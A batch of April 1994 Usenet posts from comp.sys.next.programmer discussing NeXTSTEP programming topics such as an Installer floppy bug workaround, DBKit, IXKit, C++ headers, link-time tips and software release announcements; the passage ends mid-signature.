Newsgroups: comp.sys.next.programmer From: shayman@Trimark.com (Steve Hayman) Subject: Workaround for multi-floppy Installer bugs Message-ID: <1994Apr13.164744.10705@trimark.com> Sender: news@trimark.com Organization: Trimark Investment Management, Toronto Date: Wed, 13 Apr 1994 16:47:44 GMT There is a bug in Installer.app under NeXTSTEP 3.1 that may prevent the user from being able to eject the first floppy in a multi-floppy set. I have come up with what I think is a nice workaround for this, and wanted to see what others think. (This is a workaround for the people who put packages together, not the users, so if you don't create packages you won't find this article very exciting.) First a bit of a background. "Foo.pkg" contains a bill-of-materials file called "Foo.bom" which provides a list of files contained in the package. There are 2 different kinds of BOM files; - ASCII format files, generated by the packaging scripts in NeXTSTEP 3.0; - Binary files based on Indexing Kit, generated by the packaging scripts in NeXTSTEP 3.1 and 3.2. Either type of bom file works with NeXTSTEP 3.0, 3.1 and 3.2. The problem is that in 3.1, there is a bug in Indexing Kit where a certain file is not closed when an object is freed. What this means is that if you are trying to install a binary-bom multi-floppy package under 3.1, you will not be able to eject the disk after you're done with the first floppy. Installer.app is incorrectly hanging on to an open file on that floppy, and as a result Workspace won't let it be ejected. This particular problem doesn't exist in 3.0 or 3.2, only in 3.1. (And of course it's only a problem if your package takes up more than one floppy.) NeXT's recommended fix is to create ASCII bom files using the packaging script from 3.0, if you need to create a multi-floppy package. OK fine. The only problem is that one of the things in a binary bom file is information about which executable files are "fat", and if the package has a binary bom, Installer.app will be able to "thin" binaries for you as you install them. ASCII bom files don't contain enough of this information, so a package with an ASCII bom must be installed "fat", which wastes disk space for the user. If you use this "fix", you are forcing all your users to install fat binary versions of the package and are not giving them a way to thin the package. So one thing you could do is to create 2 different sets of floppies - one with binary boms that you give to people running NeXTSTEP 3.2, and one with ASCII boms for people running 3.1. That way the 3.2 people could take full advantage of the thinning capability of Installer, and the 3.1 people would have a package that didn't have the floppy bugs. Of course either of these this is wasteful of floppies. Alternatively I have seen some packages that include elaborate instructions on how to copy the contents of all the floppies to the hard disk, and then install the package from the hard disk. ... Insert floppy 3. Carefully type this in a Terminal window. cat /Package1/Foo.pkg/Foo.tar.Z.3 >>/tmp/Foo.pkg/Foo.tar.Z Insert floppy 4. Carefully type this in a Terminal window. cat /Package1/Foo.pkg/Foo.tar.Z.4 >>/tmp/Foo.pkg/Foo.tar.Z ... Not only do you need enough disk space on your hard disk for a copy of the actual .pkg, this seems like a terrible, error-prone thing to ask users to do. .pkg's are intended to get away from this sort of installation nonsense. So. Here's a way that you could combine both a binary-bom and ascii-bom package on the same sets of floppies, without using much extra disk space. Suppose you create Foo.pkg in the usual (binary-bom) way, and split it across several floppies using the chunkPackage script. Your first floppy contains Foo.pkg/Foo.sizes Foo.pkg/Foo.info Foo.pkg/Foo.bom (binary format, works properly in 3.2 only) Foo.pkg/Foo.tar.Z.1 (very large file, first chunk of the package itself.) The 2nd through Nth floppies contain the same files (except they will have Foo.tar.Z.2 ... Foo.tar.Z.N) Now, the only difference between this binary-bom package (which works on 3.2) and an ASCII-bom package (which works on 3.1) is the "Foo.pkg/Foo.bom" file itself, which is relatively small. So why not create a 2nd package on the disk for the 3.1 users? Call it "Foo_31.pkg" and include a README file on the disk telling NeXTSTEP 3.1 users to install this version. You can use links to avoid wasting too much disk space. You can create Foo_31.pkg/Foo.sizes symlink to ../Foo.pkg/Foo.sizes Foo_31.pkg/Foo.info symlink to ../Foo.pkg/Foo.info Foo_31.pkg/Foo.tar.Z.1 symlink to ../Foo.pkg/Foo.tar.Z.1 Foo_31.pkg/Foo.bom ASCII bom format. (And a similar setup on the other disks.) Voila. You now have 2 packages on the disk, at the cost of a few Kbytes for 2 copies of the "bom". People running NS3.2 can install "Foo.pkg" and installer will do all the nice thinning of fat binaries for them. People running NS3.1 can install "Foo_31.pkg" and they won't hit the floppy eject bug, since it has an ASCII bom. Both packages contain the same actual data files, only the boms are different. (There still seems to be a minor problem in that 3.1 Installer *claims* it can't eject the disk, but you can go to the Workspace and eject it from there and continue normally. (This is a different bug than the "there is no possible way you can eject the disk and continue installing" bug that prompted this whole article.)) As a bonus, you could even add a Foo_31.pkg/Foo_31.post_install program that offered to thin out the binaries it installed (which of course Installer does for you if you have a binary bom.) I built a six-floppy package this way last night and it works just fine under 3.1 and 3.2. (And 3.0 - you can install either package under 3.0.). I'm also working on a shell script that will automate this - setting up the 2 versions of the package, making the ASCII bom, creating a post_install program to do the thinning under 3.1, etc etc. I'll put it on the servers if I can make it general enough. Let me know if you find this useful or have any comments or suggestions. all you software publishers are welcome to use this idea in your own packages so long as you send me a free copy of the package :-) Regards, Steve -- Steve Hayman Steve Hayman + Associates NeXTSTEP Consulting Toronto, Ontario shayman@Objectario.com (416) 769-8995
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: List and char *'s Message-ID: <1994Apr11.145022.2903@afs.com> Sender: jaime@afs.com References: <2o8kbo$79u@steffi.demon.co.uk> Date: Mon, 11 Apr 1994 14:50:22 GMT In article <2o8kbo$79u@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > NeXT have now released code that uses char *'s in a List Object. > > What's the concensus about this? I know a lot of people feel strongly > about doing that since I don't think size of struct Object * is always > guarantteed to equal sizeof char * Actually, all addresses are the same size in C regardless of to what the address points. You may be confusing this issue with the classic "sizeof( int ) is not necessarily equal to sizeof( whatever * )" issue. The real problem here is that certain List methods assume that the list contains ids of Objects, so sending these messages when the list contains some other kind of pointer will likely cause memory exceptions or Object Does Not Respond crashes. For example, any attempt to archive or dearchive such a list (a perfectly reasonable expectation) will crash or really screw things up as a read: or write: message is sent to a non-object (that is, an attempt is made to dereference the integer as an "isa" class pointer). The other methods, freeObjects, makeObjectsPerform:, and makeObjectsPerform:with: likewise assume the list contains ids of Objects and will fail if sent. > So why don't they specialize Storage and use an instance of that > instead. I hope nobody actually does this in "real life" Perhaps because Storage is slightly less convenient to use for simple data such as single pointers. (Not a very good excuse) One possibility is to subclass List and override the above mentioned methods to do nothing, do the right thing, or crash immediately with a notImplemented: message. -- Jaime Guerrero "Verbing weirds language." Anderson Financial Systems Inc. Springhouse, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Date: 13 Apr 1994 18:59:07 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2ohfdr$97s@cerberus.wsc.com> References: <1994Apr12.010452.27216@planon.qc.ca> [YANIK's problems with IXKit deleted] > Yanik Crepeau The power of OOP used to stop when > Programmer the programmer typed "make". With > Planon Telexpertise NEXTSTEP and PDO, that is not true > E-Mail: yanik@planon.qc.ca (NeXT) anymore! You can't use the IXKit query language, because it is not supported by the IXKit. I know that NeXT continues to ship the docs for it, but forget it, it does not work. The engineer that wrote IXKit (who's quite excellent) wanted to finish it, but I don't think that NeXT believes the IXKit is going to be part of its future plans. So, if you're developing using the IXKit now, then be careful. 1) bugs are not likely to be fixed 2) NeXT isn't going to improve IXKit any 3) Support for IXKit will go away one day - darcy
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Is it possible to change the title bar from the command line? Date: 13 Apr 1994 19:08:22 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2ohfv6$98h@cerberus.wsc.com> References: <Co5Jwz.xI@usenet.ucs.indiana.edu> In article <Co5Jwz.xI@usenet.ucs.indiana.edu> irogers@theme.music.indiana.edu (Ian Rogers) writes: > > Using Terminal (or Stuart if it's possible), can one change the title > bar from the command-line? > Yes. - darcy # # for changing your stuart window title with login (works with SysV also) # set host="`hostname| sed 's/\..*//'`" set hname = $host set shname = `echo $shell | awk -F/ ' { print $NF } '` set ttyname = `tty | awk -F/ ' { print $NF } '` # # ^[ should be the LITERAL escape character not the character "^" # followed by "[" # alias title 'echo "^[]0;${hname} (${shname}, ${ttyname}, %{Columns}x%{Lines})^[\"' alias telnet 'telnet \!* ; title' alias rlogin 'rlogin \!* -8 ; title' alias kermit 'kermit \!* ; title' alias su 'su \!* ; title' title
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: services in the background? Date: 13 Apr 1994 17:49:11 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ohban$bjj@rosie.next.com> References: <19940413121645.not-for-mail@CD41026.rz.ruhr-uni-bochum.de> stefan.boehringer@ruba.rz.ruhr-uni-bochum.de writes: > How to offer a service which keeps completly in the background > (like Terminal.app)? I have sometimes found it necessary to use these words in the service description: DeactivateRequestor: NO ActivateProvider: NO as in: Message: provideService Port: Terminal Menu Item: Terminal/Write enable Key Equivalent: ( User Data: 3 Send Type: NXFilenamePboardType DeactivateRequestor: NO ActivateProvider: NO I don't know if these keywords are documented; they probably should be though. (Use at your peril?) -sam -- Opinions expressed herein are not those of my employer. They're not even mine. They're probably wrong besides. How did they get in here, anyway?
Newsgroups: comp.sys.next.programmer From: jgr@di.uminho.pt (Jorge Gustavo Rocha) Subject: Drawing curve lines passing though one or two points. Message-ID: <1994Apr8.101004.12641@news.uminho.pt> Sender: newsadm@news.uminho.pt (Network News Account) Organization: Universidade do Minho Date: Fri, 8 Apr 1994 10:10:04 GMT Hi, I'm doing one generic (graphical) editor for visual programming languages. My first concern is the processing of the information generated by that editor, not the editor itself, so why I use NS to rapidly create such editor. So, to save some time creating the editor, if you have some "code" (methods/postscript/functions) do draw curve lines (between the start and end points) passing though one or two points, I'll be grateful. Thank you in advance. jorge. -- Jorge Gustavo Rocha Email jgr@di.uminho.pt ------------------------------------------------------------ Departamento de Inform'atica Tel +351 53 604461 Universidade do Minho Fax +351 53 612954 4700 Braga PORTUGAL NeXTmail welcome --
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: #import problems on Intel GX machines Message-ID: <1994Apr14.002913.20192@pcp.ca> Keywords: Intel GX, #import, header files Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Thu, 14 Apr 94 00:29:13 GMT Hello there: We've been experiencing some bizarre compilations problems with our header files on the Intel GX machines under NS 3.2. We have a project which we normally compile across the net. For a faster turnaround, we often copy it down locally and then compile it there. However, there are instances when cc gets confused and insists that it can't find certain .h files in the project; that is, the compiler complains that it can't find the return type for certain methods because it doesn't think a particular .h file doesn't exist. We've ran the results using cc -E (displaying the preprocessed code) and the preprocessor literally does not see the .h file in question. If we copy the .h file into a new file, rename the old file to something else, and then rename the new file to the original name, everything works fine. Alternatively, we can modify the .h file in question, which forces the file to be rewritten out to disk, and everything works as expected. This problem has never happened on any other platform except for the Intel GX platform. At this point, we're speculating that the problem is related to the filesystem or the hardfile. Has anyone out there experienced this problem on the Intel GX or any other platforms? Please e-mail me directly at Nghiem_Alex@pcp.ca or alex@oolesson.com. Thanks in advance, Alex
From: m_cooper@cooper.demon.co.uk (Matthew Adam Cooper) Newsgroups: comp.sys.next.programmer Subject: Re: Sorting with the DBKit Date: 14 Apr 1994 00:37:21 +0100 Message-ID: <2ohvnh$o8@cooper.demon.co.uk> References: <marit.267.000E801F@pz-oekosys.uni-kiel.d400.de> In article <marit.267.000E801F@pz-oekosys.uni-kiel.d400.de> marit@pz-oekosys.uni-kiel.d400.de writes: > Hi! > > I fetch data of an ORACLE database and I want to show them in alphabetical > order. > > Therefore I use the line > > [ recordList addRetrieveOrder: DB_AscendingOrder for: sortProperty ]; > > which doesn't work properly. I don't recognize an order, especially not of > the chosen sortProperty. No error message occurs. [DELETED] > My configuration: NEXTSTEP 3.2, i486, ORACLE 7 > > Thanks in advance, > Marit I copied this form one of the examples with 3.2. DBFetchGroup clears the sort order before sending the fetch. /* DBFetchGroup delegate methods */ - fetchGroupWillFetch:fetchGroup { sortProp = [[dbModule entity] propertyNamed:"Name"]; [dbRecordList addRetrieveOrder:DB_AscendingOrder for:sortProp]; return self; } -- 6 Bruce Avenue Phone : (England) 0903 505406 Worthing, West Sussex. E-mail : m_cooper@cooper.demon.co.uk England BN11 5JN (NeXTmail)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: new release of some WavesWorld palettes (tcl & 3D) Message-ID: <1994Apr14.020049.13789@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Thu, 14 Apr 1994 02:00:49 GMT some WavesWorld IB palettes (tcl & 3D) 1.2 beta!! ------------------------------------------------- Hi folks. Well, I'm between demos (CHI isn't for another two weeks, almost) right now, so I decided to take a day and package up the latest snapshot of the two IB palettes from my PhD thesis, WavesWorld, that I periodically let out for public consumption. This is version 1.2beta, but it's way, way, way, way, better than that crufty old 1.0beta3 that's taking up room on your hard disk. Please delete that one and download this one instead! As before, I *don't* really want this to migrate to the standard NeXT ftp sites, just in case there is some horrible problems, I want to be able pull the code off easily. If I get good feedback from folks over the next week or two, I might submit it to orst and sonata. Until then, you can anonymous ftp it from media.mit.edu:pub/WavesWorld. I didn't really feel like it ended up being worth my time to package things up as an Installer pkg last time, so I've simply made two different distributions, both of which are just 3.2 Workspace-compressed files which should be put in /LocalDeveloper and then uncompressed with the Workspace. I don't think this will work in 3.1; sorry. I don't have 3.1 here, and there were a couple of gnutar bugs in 3.1, and my stuff uses really long pathnames, so I don't know that there's anything that can be done. The two distributions are basically one big one for people with bandwidth to burn, and a smaller version for people who want to compile it themselves and already have tcl7.3 installed. Given that there are 57 classes in the WWTCLWidgets palette and 64 classes in the WW3DPalette, ya gotta expect that it's gonna be big either way... The big one is 5MB compressed, and 10MB uncompressed. The smaller one is 3.1MB compressed, and 5.5MB uncompressed. Note that if you want to compile this stuff MAB yourself, you're going to need a fair amount of disk space. If can afford it, I really recommend just grabbing the bigger distribution and use the precompiled MAB palettes there; it will save you the initial hassle and you can start playing sooner (and decide if it's worth your while to go and compile the stuff). One special treat in this release is a little paper (22 pages) I wrote last month which is a pretty nice overview of the whole WavesWorld system. This is the paper I've promised to various of you in the community over the last year or so, so here it is... It's in Documentation/WavesWorldOverview.ps.compressed, and is about 6MB when uncompressed, with lots of nice figures and equations (thanks Ray and Terry). For those who've gotten this far but still have no idea what I'm talking about: these are two palettes I wrote last summer (and have since extensively debugged and UI-ified) that extend IB in two orthogonal ways. The first palette, WWTCLWidgets, allows you to build entire applications inside of IB and run them in test interface mode. It provides an objective-C wrapper around a tcl interp, and a set of UI objects that can communicate with the interp. Tcl is the "tool command language", a wildly popular extensible, embeddable command language written by John Ousterhout at UCal Berkeley. The second palette, WW3D, builds on the first for doing 3D stuff. It provides a UI object, WW3DWell, which is basically an entire application in a single object. Inside of test interface mode in IB, you can load in models, inspect them, manipulate them, photorealistically render them, add and manipulate shaders, etc. etc. If this sounds interesting, please, take the time to download these palettes and give me feedback. I was pretty disappointed last time with the lack of actual critical comments that I got. I'd like to get some real feedback this time, or I might just stop making this stuff available... Looking forward to hearing from you. Michael B. Johnson wave@media.mit.edu Computer Graphics & Animation Group MIT Media Lab -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer Subject: HELP: Problem with istrstream on NeXT Message-ID: <1994Apr13.110721.1679@earlham.edu> From: rabahya@earlham.edu Date: Wed, 13 Apr 94 11:07:14 -500 Distribution: world Organization: Earlham College Hi -- Is there anyknown problems with gcc_2.5.7 and handling istrstream ? When I compile my code on my NeXT I get strange behaviour from istrstream. Here's the relevant piece of code: Vector::Vector( char* contents_string ) // Construct from a literal, e.g. "2.45 -304.30 2.0E-3" { int nTokens= countDoubleTokens( contents_string ); if ( nTokens < 1 ) error_halt( "constructor (string) fails" ); sz= nTokens; contents= new double [ sz ]; if ( ! contents ) error_halt( "constructor (literal) fails" ); istrstream datastream( contents_string, strlen( contents_string ) ); for ( int i=0; datastream && i < sz; i++ ) datastream >> contents[i]; } This is obviously a constructor for a Vector class. When we used scanf instead it works! Here's the code the works: Vector::Vector( char* contents_string ) // Construct from a literal, e.g. "2.45 -304.30 2.0E-3" { int nTokens= countDoubleTokens( contents_string ); if ( nTokens < 1 ) error_halt( "constructor (string) fails" ); sz= nTokens; contents= new double [ sz ]; if ( ! contents ) error_halt( "constructor (literal) fails" ); const char* ps= contents_string; // for cursing thru contents_string float xin; for ( int i=0; i < sz; i++ ) { sscanf( ps, "%f", &xin ); contents[i]= (double) xin; skiptoken( ps ); } } Any ideas suggenstion? Did anyone face this problem? Here the compile command that I used: c++ -L/usr/lib -lg++ Vector.C -o vector Thanks --- Jack A. Rabah Earlham College / | | _ Computer Science Dept. \ | | / \ rabahya@yang.earlham.edu | / | | / \ ** Here's the fortune cookie of the day.. ---------- ----------- it is randomly generated: - All true wisdom is found on T-shirts.
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: New Archie version Date: 14 Apr 1994 03:20:22 GMT Organization: MCSNet Services Distribution: world Message-ID: <2oicpn$5ol@Mars.mcs.com> Keywords: Archie, Prospero Archie - A NeXT specific Archie client Archie 2.1 is a multi-architecture, 3.2 NeXTSTEP analog of George Ferguson's Xwindow based archie client. It provides all of its functionality with the niceties of the NeXTSTEP interface, as well as documents and interactive ftp sessions. The program is based on the query.[ch], ftplib.[ch], and Prospero library subset provided with George's 2.0 beta version of Xarchie. Changes This version contains a number of minor enhancements, all of which are concernced with the FTP side of the application. Specific enhancements over the 2.09a version include: "Mail Scott..." - Info submenu item that invokes a Mail.app compose session with my current email address. "What's Archie..." - Info submenu item that displays a document in the Help panel containg a general discussion of Archie as put together by Eric Anderson (eanders@sura.net). A splash of color - Yes, I finally bought a 486 color machine and just had to spice up some of the icons. Fixed the display of links - I now will resolve links in a very lazy fashion. A file item of the form "link_file -> link_target" displayed in the FTP session browser will resolve and redisplay itself when you select it. Link resolution is done with enough smarts (hopefully) to ensure that a given remote directory is only loaded once. "FTP Hosts..." - FTP submenu item that display a host/account editing panel that allows you to store commonly accessed hosts. Newly added items are saved into a .netrc style file in ~/.AppInfo/Archie.netrc. Any ~/.netrc entries you have are also loaded. Query & FTP window sizes - Both the query document windows and the interactive FTP session windows store any changes to their size so that subsequent windows use the new size. This information persists across invocations of Archie.app. Improved FTP transfer throughput - I am now performing the actual data transfer in a separate thread and the transfer rate is comparable to a command line ftp transfer. Bug fixes - I have fixed a number(most?) of the bugs that have been reported. New Limitations & Problems Hiding during FTP transfer - The "Abort" button in the transfer status panel now works. Since the status panel is displayed in a modal loop I have added a "Hide" button that allows you to dismiss the app. If you subsequently double click the app icon, the modal event loop is totally unresponsive to user events. This means that you can no longer abort the transfer using the abort button. However, note that you can abort the transfer by typing the Command-. (command key and the period key) combination because I poll NXUserAbort() each pass through the model loop. Display of links to links - Although links are now resolved and displayed when you select a "link -> link_target" style browser entry, if the link_target is also a link, I am not trying to resolve it. For problems existing in the previous version still not addressed, see the Readme section of the Help. Send in your comments I appreciate the input you have provided for previous versions, and I encourage all to continue to send me suggestions, and bugs, no matter how small. And finally, obtaining Archie The binary may now be obtained via anonymous ftp from the pub/next/submissions (usually moved to pub/next/binaries/wide-area-info) directory of cs.orst.edu. I will be putting out the source in short order. Scott Stark Sun Apr 10 03:12:25 CDT 1994 starksm@genesis.mcs.com (NeXT mail accepted) -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: List and char *'s Date: 14 Apr 1994 05:45:39 GMT Organization: San Francisco State University Message-ID: <2oila3$k2@nic-nac.CSU.net> References: <2o8kbo$79u@steffi.demon.co.uk> <1994Apr11.145022.2903@afs.com> In article <1994Apr11.145022.2903@afs.com> jaime@afs.com (Jaime Guerrero) writes: >Actually, all addresses are the same size in C regardless of to what the >address points. True for the C compiler currently shipped by NeXT. Very much FALSE in The Real World. -=EPS=- -- And if you think different pointer types are interchangeable, you've never programmed Data General machines where casts actually generate conversion code.
From: scottwei@aol.com (ScottWei) Newsgroups: comp.sys.next.programmer Subject: Re: fancy relations in DBKit Date: 14 Apr 1994 02:10:02 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2oimnq$die@search01.news.aol.com> References: <dzuzga.766199836@interaccess.com> In article <dzuzga.766199836@interaccess.com>, dzuzga@interaccess.com (David E. Zuzga) writes: > Does anyone know how to do anything beyond a simple equijoin in DBKit? >For example, suppose I have two tables and I want to join them based >upon the following conditions: > table1.thedate between table2.startdate and table2.enddate, > table1.halfhour = table2.halfhour It sounds like you want to create a DBQualifier. (WHERE date < x and date > y) .dbmodel won't hold the information you are refering to. If I'm missing something, let me know and I'll try to help. Scott Weiner Paradigm Research, Inc.
From: gloger@dbulm1.uucp (Jochen Gloger) Newsgroups: comp.sys.next.programmer Subject: link problems Message-ID: <1994Apr14.091942.610@dbulm1.uucp> Date: 14 Apr 94 09:19:42 +0100 Organization: Daimler-Benz, Forschungszentrum Ulm There was no response to my previous posting, so once again I have a problem relating to UNIX libraries created by ar and ranlib. Suppose you have inserted an object file OBJ_A into an existing library LIB. Now you want to make a slight modification in the source file SRC_A of OBJ_A. You want to test it, but you need some object files from the above library LIB and you do not want to remove the object file OBJ_A from the library LIB. You compile the modified source SRC_A (resulting in OBJ_AA) without replacing OBJ_A in the library. Now, how can you force the linker to take exactly the object OBJ_AA instead of taking OBJ_A from LIB. Only adding it to the link list will cause an error like "multiple defined symbols". I know there is a linker option which should exactly provide such a functionality, but I was not very successful to make it work. What can I do??? Thanks in advance for every hint. Kind regards. Jochen =============================================================================== Jochen Gloger, Daimler-Benz AG, Research Center Ulm, Institute of Information Technology, Department of Text Understanding Phone: +49 731 505 2353, Fax: +49 731 505 4113 Address: Wilhelm-Runge-Str.11, P.O. Box 23 60, 89013 Ulm, Germany Email: unido.uucp!dbulm1!gloger OR gloger%dbulm1.uucp@germany.eu.net ===============================================================================
From: Uwe Hoffmann Newsgroups: comp.sys.next.programmer Subject: Correction: Re: Changes in NS 3.3 for developers Date: 14 Apr 1994 10:09:57 GMT Organization: Forschungszentrum Informatik (FZI), Karlsruhe, Germany Message-ID: <2oj4pl$kbo@gate.fzi.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit I reread the NEXTSTEP Expo Brochure in ASCII (posted in c.s.n.a) and I must correct my previous post: Enterprise Objects Framework is an additional product and not included in NS Developer. Quoting from the brochure: ----------------------------------------- The NeXT booth will feature live presentations and show the range of NeXT technology from NEXTSTEP User and Developer, to PDO, Enterprise Objects Frameworks, NEXTIME, and NEXTSTEP-J, the Japanese version of NEXTSTEP. ----------------------------------------- This seems to be a complete list of their product range right now. With the Foundation Kit I'm not so sure. If we're lucky it's in the bundle. Thanks to everyone pointing this to me. I'm sorry if I caused confusion. -- uwe....................................hoffmann@fzi.de (nextmail ok)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Developer Expo talk idea? (TCL and IB) Date: 14 Apr 1994 12:49:21 +0100 Organization: me organised, that's a joke. Message-ID: <2ojak1$2fl@steffi.demon.co.uk> I don't speak for anybody... Is there any interest from NeXTDeveloper Expo attendees for a talk on how to use Tcl from within IB and or within the ObjC runtime? Tcl is gaining in popularity due to the increased interest in using Tk for X applications. Tcl is an extensble interpreted languauge. TickleServices and Dialupip/TranSYS PNI already make heavy use of it. Tcl has _nothing_ to do with The X Windowing System. It's just a language which can be tailored to suit the task at hand. Is that something you'd like to see and hear about at Expo? If the technical sessions contained this sort of information would that influence your decision to attend the Developers Conference? Please don't email me just show your interest by following up. -- "Kill files are for pacifists" (ASCII for text only messages)
From: montgomery_zukowski@il.us.swissbank.com (Montgomery Zukowski) Newsgroups: comp.sys.next.programmer Subject: Re: Desparate Plea: How to quicken link time? (Summary) Date: 14 Apr 1994 09:55:54 -0400 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9404141355.AA01037@nwk60_ocachi> Thanks to everybody who responded! The main ideas were: If you are on a network, put your .o file's directories on the local machine's hard drive. Use bundles if you want. This just defers linking until runtime. Don't link fat. Build thin. Invest in more memory. Make your own libraries via ranlib because then they are indexed and only the symbols needed are actually linked. Try using the -pipe option of cc to speed up compiles. Try -s, -r, and -object options of ld. Compile debugged classes using -O and no -g. This eliminates the debugging symbols, which hopefully you don't need. I do this by doing a 'make app' and then copying all of the stable files into my debug_obj directory and then further 'make debug's will not change those stable files until they change. I've tried these solutions either piecemeal or not at all because I just started a new project which of course is much smaller since I'm at the beginning of it. In other words I have no numbers for what really makes a difference. If you come up with any, let the net know! Thanks again to: Michael B. Johnson Michael A. Hovan III Charles Lloyd Gregory H. Anderson Mark Onyschuk Alexander Spohr Andrew Belk Michael Mellinger Leo Later, Monty
From: droege@informatik.uni-koblenz.de (Detlev Droege) Newsgroups: comp.sys.next.programmer Subject: Re: Incredible Bouncing Login Panel Date: 14 Apr 1994 15:43:55 GMT Organization: University Koblenz / Germany Distribution: world Message-ID: <2ojobs$n67@newshost.uni-koblenz.de> References: <1994Apr12.130821.13304@galileo.cc.rochester.edu> In article <1994Apr12.130821.13304@galileo.cc.rochester.edu> hyrh_ltd@uhura.cc.rochester.edu (Howard Yermish) writes: > > On the NeXT over at school (040 station Mach 3.0), the login > panel acts as a screen saver by bouncing after being idle for > five minutes. I want to have the same thing happen on my cube > (030 cube Mach 3.0) for my login window. You have to do a dwrite loginwindow MoveWhenIdle YES as root to activate this. Some parameters exist to adjust movement, here are the defaults (taken from the FAQs where you should look for such stuff !!): MoveWhenIdle: "No" MovementTimeout: "300.0" MovementRate: "0.06666" MovementScale: "10" This feature was 3.0 only, it vanished in 3.1 (was replaced by a "real" screen saver module ...) Detlev -- Detlev Droege, Uni Koblenz, FB Informatik, Rheinau 1, D-56075 Koblenz, Germany Tel: +49 261 9119-421, Fax: -497, NeXT/Email: droege@informatik.uni-koblenz.de
Newsgroups: comp.sys.next.programmer From: stephan@Magritte (Stephan Schlecht) Subject: Scanner for DXF-Fileformat wanted Message-ID: <Co91tw.w3@tms-gmbh.de> Keywords: scanner,dxf,fileformat Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Thu, 14 Apr 1994 12:39:32 GMT Hello, I want to load DXF-files (Autocad). Is there anywhere a sourcecode, where I can extract the scanner? Any help appreciated. Stephan -- Stephan Schlecht stephan@tms-gmbh.de
From: andy@interaccess.com (Andy Faibishenko) Newsgroups: comp.sys.next.programmer Subject: Missing C++ header files Date: 14 Apr 1994 14:37:47 GMT Organization: InterAccess, Chicagoland's Full Service Internet Provider Message-ID: <2ojkfr$97a@mailhost.interaccess.com> I have just installed NS 3.1/Intel on my machine and tried to do some C++ coding. However I cannot find files like "iostream.h" anywhere. I know the C++ compiler is installed because it will compile the samples that came with the release which mix C++ and Objective C. I found a "streams.h" file but it seems to be NS specific streams. Does NS not support cout, cin, etc...? Thanks, -Andy
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Catching program crashes Message-ID: <1994Apr14.132340.8166@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. Distribution: usa Date: Thu, 14 Apr 1994 13:23:40 GMT I want to log the time of all program crashes to a file. Does anyone know of a generic way to catch all segmentation faults... I know it is possible but can't figure out whether I need to listen on some kind of exception port or ... -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
From: gt6963c@prism.gatech.edu (John) Newsgroups: comp.sys.next.programmer Subject: How should I make a simple front end for a CLI program? Date: 14 Apr 1994 15:03:59 -0400 Organization: Georgia Institute of Technology Distribution: world Message-ID: <2ok42v$gpi@acme.gatech.edu> Hi, I'm slowly learning NS programming. In the long term I want to port this entire program to a NS interface, but for now I just want to make a front end for it. The program is a network talk program (like IRC, but nicer :-) It's called ICB. I have the interface panels done, but have two hurdles: 1) I'm still working on how to join parts of the interface.. like making the menu cause a panel to be invoked. or making it so that "close" is only usable when a window is selected. I can learn this one on my own ( I have books on this stuff :-) Also things like associating "return" and "escape" wiht buttons. I think for "return" you just need the downarrow look that you can select in interface builder..but I don't know if that just makes the look, or if it also makes the association. I'd like certain buttons on pannels to be activated by escape (for cancel) and some by regular keys. I don't want it to requier command-escape, or command-(some key) for this to be done inside a pannel. 2) This is the one I want help with. When I open a window, all it needs to do for now is run the CLI based icb client. Much like a shell transfering control to a program. (much like when you click on a shell script or cli program, and it automagically sends this program to terminal.app.. but I don't want to use terminal.app). Note that there are some restrictions here: when the program exits, I dont' want the window to close. I want the user to be able to still look through the scroller at what conversation they had. Also, I want them to be able to reconnect in the same window (perhaps using a reconnect button that is only usable when in a disconnected window). I'd also like to play with pannels sending commands to the window as text messages.. sort of like two people sending to the CLI programs STDIN. (the window sends to STDIN anything you type, and the pannel's buttons translate to existing text commands that get send to STDIN). Hope that all makes sense. Any help would be appreciated. (note: I've got some smalltalk under my belt, and some C++,, but part of this learning process is learning Obj-C..so don't assume I know objective C). Thanks, John Rudd (oh, I have the next developers library, release 3, so it's ok to reference parts of those books.. I just haven't had the time to sit through and read every one from cover to cover.. tho I am reading the white-cover version of the Objective C book). -- John "Kzin" Rudd gt6963c@prism.getech.edu (ex-kzin@cc.gatech.edu) ===========Intel: Putting the backward in backward compatable.=============== To me, boxing is like ballet..except there's not music, no 